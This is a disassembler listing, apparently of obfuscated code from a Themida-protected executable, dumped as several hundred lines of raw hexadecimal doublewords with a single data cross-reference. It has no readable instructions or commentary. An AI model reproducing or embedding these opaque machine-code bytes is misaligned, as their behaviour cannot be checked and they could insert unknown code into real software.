		dd 8BA125B3h, 0E8006AFBh, 10h, 5229E8ECh, 7C84A7B2h, 411ACB1Eh
		dd 32AEBD35h, 5AEB8166h, 0B6685F2Ah, 8B4B5AEEh,	243481FEh
		dd 4B45ED49h, 31059D8Bh, 95FF05E8h, 5E81519h, 0C305BB66h
		dd 0B3F18589h, 6A05EBh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 20D09EC3h, 206EA06Eh, 0DDBD0B5Ch
		dd 0E905E822h, 1F5h, 31C98D01h,	858B05E8h, 5EBB3E9h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0E2C35545h, 6E86088h
		dd 0BA000000h, 5DD7AC01h, 7DB966E3h, 8B665890h,	1DBB61F3h
		dd 0C724DECDh, 1800h, 0ADB58900h, 8B05E82Dh, 0EBB3EDB5h
		dd 56006A05h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 0C8BCE695h, 8E0F0B2Dh, 0Ch, 6800Fh, 8F0F0000h
		dd 0
		dd 3341858Bh, 8B6605E8h, 660689DAh, 858BF88Bh, 5E802B1h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 7BC35747h
		dd 4ACAF671h, 0BD49E1D8h, 89044689h, 0E81BA9BDh, 34895005h
		dd 5E824h, 8B120000h, 89B0DCD1h, 0E8025985h, 0B5FF5B05h
		dd 5EBB3E9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	0E8C35747h, 1A3404C1h, 0FE88AF4h, 0C7000000h, 86563701h
		dd 7B48F304h, 0BACA461Dh, 0BD2989ECh, 5E82CFDh,	7737685Fh
		dd 71B34965h, 0C8243481h, 6A497A74h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 9D68C356h
		dd 0BF0FF876h, 0F1858DFBh, 6A05EBB3h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 8E18C352h
		dd 0FDB1F5Bh, 4EF2E51h,	8890Fh,	860F0000h, 2, 0B70F6160h
		dd 8B5690FBh, 0E9505BF9h, 5, 9CBD8393h,	6A9055h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 9A6C27C3h, 0B05A33EBh, 0DF8B6690h, 1995FFF5h, 6A05E815h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 3133C352h, 1618E3B6h, 8B3F9EEAh, 0E815519Dh
		dd 85896105h, 5E81311h,	0A6185C7h, 305E8h, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 8ADE99C3h, 0F1BD83FEh, 5EBB3h, 4F840Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 3DB8A2C3h, 1C9553A1h, 41E93482h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 61E9C356h, 0AB2903DEh, 34CB8166h, 0C3050EDh,	11440011h
		dd 10E8C101h, 2114430h,	3114C00h, 4E98358h, 36EBE775h
		dd 11043050h, 1116400h,	3010E8C1h, 21144h, 58031164h, 7504E983h
		dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h
		dd 83110430h, 0E77504E9h, 0C08B00EBh, 0A1B589F5h, 6A05E828h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 0F17C351h, 74CCEB5Dh, 61BD8345h, 305E80Ah
		dd 3EB850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 0D8DF1CC3h, 9218DF5Ch, 2352D492h
		dd 0E816C19Dh, 0BD835B05h, 5EBB3F1h, 0B2840F00h, 8B000003h
		dd 0E80659BDh, 0F1B5FF05h, 0BF05EBB3h, 342EEEE0h, 2B2D9D23h
		dd 95FF05E8h, 5E81C09h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 68C35343h, 0FF735770h, 0D913ACDDh, 999D3156h
		dd 5F05E810h, 121D9D8Bh, 0B58B05E8h, 5EBB3E5h, 0C7F8B70Fh
		dd 1000106h, 0B7BF5700h, 5F4F9493h, 14E950h, 8AF70000h
		dd 400AEA1Ah, 9B63DD94h, 238AE67Bh, 35B99C41h, 3489B325h
		dd 8B666024h, 6145B3F8h, 0B3F1B5FFh, 95FF05EBh,	5E808BDh
		dd 0C59D03F9h, 8B05E812h, 0EBB3E5B5h, 50006A05h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
		dd 0FD1ACF38h, 81B33186h, 33F361F7h, 1D9D8B3Bh,	8B05E80Eh
		dd 0E814B985h, 56006A05h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 0FF1AC1E6h, 530CCFBAh
		dd 6426F381h, 0E85F080Fh, 0Ch, 0BDB1C93Ah, 41F020F2h, 3FF01EB3h
		dd 0B9858951h, 5B05E82Ch, 0C486895Fh, 60000000h, 89C8BF0Fh
		dd 0E807C99Dh, 958B6105h, 5E8159Dh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 15h, 0D5C35040h,	4C28341h, 3DDDBF66h
		dd 6A205089h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 2700C353h, 0EA757DF5h,	0D38125FBh
		dd 0C34CAECh, 0CF0862BBh, 5D858D19h, 6A05EBC6h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 3D03C355h, 5778B14Ah, 86895FF5h, 0B8h, 21CDBD89h, 6A05E8h
		dd 0FFFEBF0Fh, 0EBB3F1B5h, 8D7BBF05h, 95FF08CEh, 5E82C2Dh
		dd 6E8h, 298CD00h, 8927E80Ah, 0E82B359Dh, 66505F05h, 894EA0BBh
		dd 6A2434h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 4D0448C3h, 0B3ADBF66h, 0B3F1B5FFh, 0BE805EBh
		dd 0F7000000h, 0A6B2EBBBh, 17A48C34h, 8D0F5D0Fh, 6, 8CD2C381h
		dd 0FF5B7158h, 0E802C195h, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 0A357C31h
		dd 9D799C01h, 8B0D0FBBh, 5DBD831Bh, 5E802h, 67840Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 82DCBBC3h, 0DB80E374h, 525050BFh, 11E9h, 67806200h
		dd 4D74549Ah, 58E496CCh, 6058AF8h, 310F175Bh, 310F5250h
		dd 0F7519BFh, 5A585A26h, 24348958h, 1A519D0Bh, 0AE805E8h
		dd 65000000h, 2C76697Ch, 72555913h, 0DA8B6659h,	0F1B5FF5Bh
		dd 6A05EBB3h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 67F4C351h, 95FF7B5Eh, 5E80759h
		dd 132D9531h, 0B5FF05E8h, 5EBB3F1h, 0DF33BF66h,	72595FFh
		dd 6A05E8h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 862283C3h, 0FA8B4928h, 29A9BD83h,	0F0205E8h
		dd 3F84h, 0ADBD8B00h, 8B05E81Bh, 0E8133D85h, 0DB52905h
		dd 0C605E82Eh, 6A0000h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 0A49202C3h, 0D199D8Bh, 0B58905E8h
		dd 5E82E85h, 12C185C7h,	5E8h, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h
dword_58C300	dd 44810424h, 1D0424h, 52420000h, 3141FEC3h, 7F89A874h
					; DATA XREF: Themida_:0054D9B8o
		dd 8B079E42h, 0F317E9FEh, 11E9FFFFh, 99000000h,	0EDF2B8E1h
		dd 5EE64707h, 5BC109A4h, 20444428h, 9D8BC18Bh, 5E814ADh
		dd 0CB806060h, 0CB8B66EEh, 65958B61h, 6105E827h, 1C1D858Dh
		dd 0E99005E8h, 9, 0E09C52DBh, 18BC9634h, 880F50C9h, 19h
		dd 14E9h, 5806F000h, 2B6AEAFAh,	0F21C25F4h, 0EDD2A429h
		dd 0BE252EE7h, 6A908Ch,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 690F83C3h, 6A8DCB97h, 6A006A00h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 107DC352h, 36B090FFh, 319589CDh, 8D05E806h
		dd 0ECAC0F85h, 56006A05h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 594A5561h, 0AFFAB7FEh
		dd 5C0837Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	0A4C35646h, 83402F90h, 0BBA5E898h, 6F6A167Ah, 242CBB50h
		dd 4894966h, 50006A24h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 0F6BF66DBh, 7E9AAh, 105F0000h, 0C0504761h
		dd 6A006A6Ch, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 0AF6EC356h, 89F90E6Fh,	0E830AD85h
		dd 6A006A05h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 0C08BC357h, 422A5011h,	2C25BD89h
		dd 95FF05E8h, 5E8203Dh,	2D5BD8Bh, 8D8D05E8h, 5EBA4DBh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0B1C35141h
		dd 3075A310h, 1F919D03h, 0D1FF05E8h, 5BFB8B52h,	10B9BD83h
		dd 0F0105E8h, 4785h, 0AE900h, 0C06C0000h, 0A223BDE8h, 844E5035h
		dd 0B70F026Ah, 0F98B50FAh, 6A240489h, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0BE27C356h
		dd 212EAB9Eh, 22359D8Bh, 95FF05E8h, 5E82C2Dh, 0E24E9h
		dd 0E800h, 815D0000h, 0ECAC19EDh, 50006A05h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 4849D208h
		dd 0BD898F61h, 5E83335h, 77EF8166h, 58858DA2h, 8B05EB8Fh
		dd 48950F9h, 0B1BD0B24h, 6405E812h, 35FFh, 81660000h, 64219DDBh
		dd 2589h, 0B5890000h, 5E80F25h,	22D59D29h, 85FF05E8h, 5E82545h
		dd 9D31F860h, 5E80D3Dh,	13E861h, 12770000h, 42C8198h, 4F7192B1h
		dd 0F05386AFh, 8A76DF5Ah, 6D958953h, 5B05E822h,	6AFF6Ah
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 6359D9C3h, 80FA8BF7h, 0B5FF94EBh, 5E8306Dh, 2830Fh
		dd 0FA8A0000h, 10E9h, 5AC9F500h, 44F1570Eh, 6BD8A4FFh
		dd 0B79C172Bh, 0AD95FF58h, 0E905E82Fh, 155h, 0FE9h, 22B8B100h
		dd 511591DDh, 4982DBF4h, 4273CC18h, 9D8B00B0h, 5E82D05h
		dd 29FC70E6h, 0E8212D85h, 8971E405h, 0E80A5195h, 0F613C05h
		dd 12083h, 0E9BD8B00h, 0F05E80Ah, 0BD89C8B6h, 5E82C65h
		dd 6BAh, 0A99D8B00h, 8B05E82Fh,	4E8C1C1h, 66F8BF0Fh, 9589E2F7h
		dd 5E82635h, 0E840Fh, 29600000h, 0E809E98Dh, 850F05h, 61000000h
		dd 9D0BC82Bh, 5E81081h,	9D8BD18Bh, 5E82E55h, 0D88B6660h
		dd 0C7E961h, 0EE80000h,	23000000h, 0C65157EEh, 0D5ED48A5h
		dd 0A1573E7Fh, 8D9D8BE5h, 5F05E808h, 0FE9h, 2C57A300h
		dd 8F6AD602h, 0D1B7DBA7h, 7BB96A50h, 8858Bh, 0C0830000h
		dd 0C1E78107h, 8303497Ah, 63B700C0h, 830FD03Bh,	1Ah, 60FAB70Fh
		dd 1D78B66h, 0E81BA1BDh, 6AE96105h, 66000000h, 0F12BABFh
		dd 8D8BD9B7h, 0FFFFFFFFh, 1059BD0Bh, 0E18305E8h, 4E840F01h
		dd 60000000h, 0AE9h, 6AACBE00h,	0A5B3D6FDh, 89E8AED3h
		dd 0E807C98Dh, 0BD036105h, 5E81BADh, 0FFFFA583h, 0E8FEFFFFh
		dd 0Eh,	0F57E0572h, 0E57657Eh, 7A0A244Ah, 0B589A6D5h, 5E821D1h
		dd 895895Bh, 66000000h,	0E692C381h, 0E9h, 14B58D00h, 6A05EC2Fh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 6ECCC356h, 101E5394h, 659BD89h, 9D3105E8h
		dd 5E82C59h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 0BE7099C3h, 2F65C611h, 0F995FF0Fh
		dd 6A05E820h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 0FF19C357h, 0FD5FD63h,	919D8B2Bh
		dd 0B905E829h, 0EAEh, 0E855006Ah, 3, 5DC35D20h,	4246C89h
		dd 4244481h, 17h, 3EC35545h, 83D5D523h,	6AFCE1h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 794C30C3h, 0B99D89FCh, 0B805E829h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0E1C35545h
		dd 48095D35h, 0BB66F0A1h, 0BA8E04h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 0B1AEC351h, 0CD858914h, 0BF05E810h, 1CDA15CFh, 0D1C233ADh
		dd 83D003E8h, 0F47504E9h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 7AC35646h, 7D0B75A4h,	890699BBh, 0E8322585h
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 0E82A04CFh, 0Eh,	263002CEh, 0FED542D4h
		dd 4001061Bh, 0D5F1025h, 88h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 0C0C35343h,	394F2B03h, 0DABF0F05h
		dd 159D958Bh, 6A05E8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 0F7DAABC3h, 11E9h, 3033C900h, 0CFFE21h
		dd 0B954957Bh, 0FD288ABDh, 8D8B6A1Ch, 5E80705h,	8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 2BF933C3h
		dd 563520DDh, 8B66A6F4h, 57006AF9h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 956B2246h, 9DFD344h, 0A1C7BF66h
		dd 2E71BD83h, 0F0005E8h, 6F84h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 0F88A72C7h
		dd 6830Fh, 0B5090000h, 5E8118Dh, 0B8h, 2EE38000h, 4D6A8D8Dh
		dd 6A05E8h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 0BB4702C3h, 0E1B5891Bh, 0F05E824h, 481h
		dd 0C5BB6600h, 60E1FFC5h, 61F28B66h, 0A61BD83h,	0F0005E8h
		dd 3C384h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 619531C6h, 8305E816h, 0E80A61BDh
		dd 840F0105h, 3AFh, 0BD83DE8Ah,	5E80A61h, 6A860F03h, 0F000003h
		dd 9E8FABFh, 22000000h,	531115D1h, 13EADD45h, 0BD31605Fh
		dd 5E810F9h, 349BD89h, 8C6605E8h, 56006AD9h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 0AA7CD00Ah
		dd 50AE5785h, 0E1805BF8h, 0BF666004h, 11E8B33Fh, 3B000000h
		dd 4965D0C9h, 0DA1FD499h, 641369B3h, 4A583615h,	615AECB6h
		dd 0E3DB501h, 0C90A05E8h, 0F1840Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 41529EC3h
		dd 27DB03Dh, 0F49C5BDh,	0BD0BFEB7h, 5E82E95h, 2B1858Bh
		dd 6A05E8h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 7A9742C3h, 0BD890CD0h, 5E82B45h, 128E0Fh
		dd 0DE90000h, 0C8000000h, 76B55ED9h, 0E38AA6A0h, 396A58Ch
		dd 1BCD8533h, 6A05E8h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 9A0A44C3h, 60B25519h, 297D8589h
		dd 0C78005E8h, 0CE9901Dh, 27000000h, 0E72C2AB2h, 0B8A8BDB7h
		dd 5043FAE3h, 6D9D8990h, 6A05E814h, 0DE68FC00h,	81C448DDh
		dd 26212404h, 8B663BD6h, 1995FFFAh, 8105E815h, 0F80D01C3h
		dd 0F1858938h, 905EBB3h, 0E828A185h, 17EE905h, 14BF0000h
		dd 8B1F8B46h, 0EBB3E985h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 1800C798h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 0E2DBC352h, 716CF4E4h,	0FE0B901h
		dd 288h, 8BDF8B00h, 0EBB3EDB5h,	51006A05h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 858BF59Fh
		dd 5E83341h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 16h,	86C35343h, 9ABFAC88h, 57568CEAh, 5FD88B66h, 8D890689h
		dd 5E82215h, 2B1858Bh, 0C78105E8h, 45C66161h, 56044689h
		dd 505F5B50h, 0CAB21EBBh, 24348909h, 14E9h, 0EE85CB00h
		dd 1F2FB561h, 9B82ED4Fh, 0BEDC77F8h, 7B9358E5h,	0E9B5FFBEh
		dd 5605EBB3h, 161D9D8Bh, 0E85B05E8h, 4,	1F03FFh, 5050D4B3h
		dd 5A310F52h, 24448B58h, 50525004h, 0BB6652h, 8B310F24h
		dd 0F585ADAh, 8B585A31h, 24448900h, 6A5804h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0F21B4AC3h
		dd 2B9AB79Eh, 0E823ED9Dh, 10EF8005h, 0B3F1858Dh, 816605EBh
		dd 50C0D8DBh, 4896BB7h,	0EE924h, 0FD9D0000h, 0EC0D4FBFh
		dd 0B9618Ah, 26E09EC5h,	151995FFh, 8D3105E8h, 5E82ECDh
		dd 52006A61h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 0F0A2D41h, 85C7DBB7h, 5E80A61h, 3, 9AC0BF66h
		dd 0B3F1BD83h, 0F0005EBh, 4C84h, 14E800h, 49240000h, 0A4CCBB3Ah
		dd 302DB757h, 5865E95Bh, 5FC12513h, 0BB66A019h,	0E95BF83Ch
		dd 44h,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h
		dd 18C35242h, 0D3816660h, 0D9817F1Dh, 445ABCCEh, 0C305061h
		dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h
		dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h
		dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h
		dd 1116428h, 83110430h,	0E77504E9h, 0C08B00EBh,	0AE9h
		dd 81837700h, 7AA451E5h, 8908FBAFh, 0E807BD8Dh,	61BD8305h
		dd 305E80Ah, 4AD850Fh, 0BD8B0000h, 5E82F89h, 4AA0BB66h
		dd 0B3F1BD83h, 0F0005EBh, 49684h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 0FBC3C234h
		dd 6820F3Ch, 29000000h,	0E80AF18Dh, 8DBD8B05h, 0FF05E809h
		dd 0EBB3F1B5h, 9D8B5305h, 5E80329h, 13E95Fh, 0A9D10000h
		dd 0BFA1F12Ah, 0D3D15803h, 61978FDAh, 0BAE0623Ch, 995FF4Ah
		dd 6A05E81Ch, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 68DC356h, 0FDA25B13h, 8B35C7DEh
		dd 0EBB3E5B5h, 55006A05h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 13E85E4Ch, 5D000000h
		dd 25CA73D4h, 0C5C26E12h, 285CF358h, 74245C4Fh,	5BF8591Dh
		dd 106C7h, 0BD090001h, 5E80319h, 3019BD8Bh, 0BB9605E8h
		dd 688AA983h, 96F98B50h, 2641BD8Bh, 0B5FF05E8h,	5EBB3F1h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 4FC35545h
		dd 0AB454959h, 0F0DB52Fh, 783h,	1880F00h, 0F5000000h, 8BD95FFh
		dd 665305E8h, 8B5BFA8Bh, 0EBB3E5B5h, 55006A05h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0B9858B1Ah
		dd 6A05E814h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 29C3C356h, 0E8223185h,	0C4868905h
		dd 0E8000000h, 0Bh, 608CB0A6h, 0BA9E7F75h, 0E9A26718h
		dd 11h,	0F0E38ED0h, 3C34164Ah, 0A8228547h, 0C80DF317h
		dd 958B5B94h, 5E8159Dh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 2EC35242h, 6A3BC7B4h
		dd 11A19D8Bh, 68BF05E8h, 0F2A69C2h, 0C83h, 68A0F00h, 8B000000h
		dd 0E82025BDh, 4C28305h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 17C35747h, 0D0580C32h, 0E9C2BF5Ah, 0Eh
		dd 0A30067D6h, 73F92BE5h, 1E7FF559h, 508920E4h,	56006A20h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 368F934Ch, 4FA557D2h, 8166FC13h, 8DD2CCCFh, 0EBC65D85h
		dd 0FFBF0F05h, 0B88689h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 16363C3h, 6890FBBh, 8B000000h
		dd 0E82F75BDh, 0FF006A05h, 0EBB3F1B5h, 0A99D2B05h, 0FF05E802h
		dd 0E82C2D95h, 57006A05h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 0B53D64BBh, 9504693h
		dd 0B59D8BE5h, 0B05E832h, 0E830919Dh, 7E89605h,	7C000000h
		dd 0CA7E00ACh, 12E93B42h, 33000000h, 9F623564h,	0A7DF11E9h
		dd 2F796EEBh, 9EE84B53h, 51505F2Dh, 3ABB5250h, 0F045FFAh
		dd 69BF6631h, 5B585A1Dh, 0F1B5FF96h, 6A05EBB3h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 0D5A0C351h, 0ABDB4BD4h, 0EB8019F5h, 0C195FF1Dh, 6A05E802h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 747FC357h, 0BC8917CEh, 0BD839CB5h, 5E8025Dh
		dd 41840F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 6D79C351h, 0E96EF24Bh
		dd 10h,	0DF8355A0h, 1EF40E79h, 44A5CAF3h, 0A95526E3h, 89D88B50h
		dd 0BD8B2434h, 5E82421h, 0B3F1B5FFh, 860F05EBh,	6, 741BD8Bh
		dd 95FF05E8h, 5E80759h,	7D5BD8Bh, 816605E8h, 0FF58F5E3h
		dd 0EBB3F1B5h, 0FB8B6605h, 72595FFh, 6A05E8h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 467E64C3h
		dd 0C42B1AD5h, 8BF88B66h, 0A9BD83DAh, 205E829h,	68840Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 8BC8DDC3h, 0E8133D85h, 0C99D8B05h, 0C605E829h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 0AAF5C2C3h, 15418531h, 4DBB05E8h,	0E9436B6Dh
		dd 0Eh,	3D5ED17Dh, 0EB5558F7h, 4532C604h, 85C7C986h, 5E812C1h
		dd 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0F1C35242h
		dd 0C9B52938h, 0E905E81Bh, 0FFFFF2A4h, 0C18BEAB7h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0E0C35747h, 0BC4EB95h
		dd 469F9982h, 0BD8B5724h, 5E805F1h, 1D858D5Bh, 8B05E81Ch
		dd 0E806919Dh, 0DB816605h, 669052FAh, 506BD1BBh, 0DE9h
		dd 0DDD89600h, 63A16D1Fh, 0A3B54DFFh, 6A900B48h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 571BC352h, 96BB6674h, 6A22302Eh, 6E800h, 4A550000h
		dd 0FAB7FE59h, 5BDBB70Fh, 6A006Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 8DBA28C3h, 0ECBBD585h
		dd 0D99D8B05h, 8305E830h, 0BD3105C0h, 5E82CA9h,	89BAB350h
		dd 11E92404h, 9E000000h, 2594A8F9h, 0A53B98FCh,	1053A66Bh
		dd 779A70F5h, 19B7006Ah, 6A006Ah, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 5AEC6C3h, 0B2F7F7A2h
		dd 8589995Ah, 5E82985h,	203D95FFh, 9D3105E8h, 5E80319h
		dd 0A4DB8D8Dh, 6A05EBh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 3C7D92C3h, 1B04EE7Eh, 19BD8BE4h
		dd 0FF05E82Eh, 53006AD1h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 31ECE0E4h, 0E82C7D8Dh
		dd 0B9BD8305h, 105E810h, 50850Fh, 0BD2B0000h, 5E80D25h
		dd 6A026Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 92AA93C3h, 6660505Ch, 0F6633BEh, 285h, 61DC8A00h
		dd 8B240489h, 0E83329BDh, 658D8905h, 0FF05E830h, 0E82C2D95h
		dd 0D830BB05h, 5CE91F82h, 0E800000Dh, 0
		dd 0DFED815Dh, 2905ECBBh, 0E83315B5h, 0DD8D8905h, 8B05E808h
		dd 58858DD8h, 8905EB8Fh, 0E8194D85h, 0BE99005h,	74000000h
		dd 0FA271F17h, 83B9A2BFh, 8A504823h, 9D8B90DEh,	5E822E9h
		dd 35FF64h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 8074C351h, 370F11B9h
		dd 0B8CA0C84h, 0DE8h, 15A9D200h, 0D397A1D9h, 0CC37C740h
		dd 9D8BB560h, 5E80D79h,	2589645Bh, 0
		dd 8BFA8B66h, 4585FFDFh, 6605E825h, 1F53C381h, 25698D89h
		dd 0FF6A05E8h, 12E956h,	0D4C80000h, 5255B9FCh, 6FF7AA06h
		dd 8C9E3926h, 9575616h,	0D1B5FF5Fh, 6A05E808h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 1B95C353h, 0BFB72977h, 0FFDA8BD9h, 0E82FAD95h, 142E905h
		dd 8B0F0000h, 1Dh, 0E95F5260h, 14h, 230ADF7Eh, 0C0FCADC1h
		dd 0EE53A458h, 0AF283C87h, 0CB8056B9h, 0F00B061h, 8D89DFBFh
		dd 5E80A79h, 0B70F70E6h, 8A71E4FBh, 0F613CFDh, 10383h
		dd 0B60FF800h, 319D8BC8h, 0BA05E821h, 6, 0E79B589h, 0C18B05E8h
		dd 0C1FBBF0Fh, 0F6004E8h, 0F681C8B7h, 4E2BF316h, 0E2F76661h
		dd 0F5BBC82Bh, 8B3F4E39h, 0B9B501D1h, 0E905E815h, 0C4h
		dd 1858Bh, 0C0830000h, 11E807h,	64960000h, 7E155C6Eh, 0AA6A2385h
		dd 5EFB1503h, 0E89DF327h, 0Ah, 3912DE8Eh, 2B7DFB62h, 0B5890671h
		dd 5E832F5h, 89575F5Fh,	0E8221195h, 0C0835F05h,	399D8B00h
		dd 3B05E820h, 37830FD0h, 89000000h, 0E8207D9Dh,	6AE905h
		dd 10E80000h, 0D7000000h, 0CC8DCC32h, 0E46AFD56h, 5BDE29FCh
		dd 0FCB20E8Fh, 0FE85Fh,	0ABD70000h, 0E86AA911h,	8D5C4687h
		dd 0A4112CDCh, 8D8B5B3Ah, 0FFFFFFFFh, 0F03D781h, 0E1835E69h
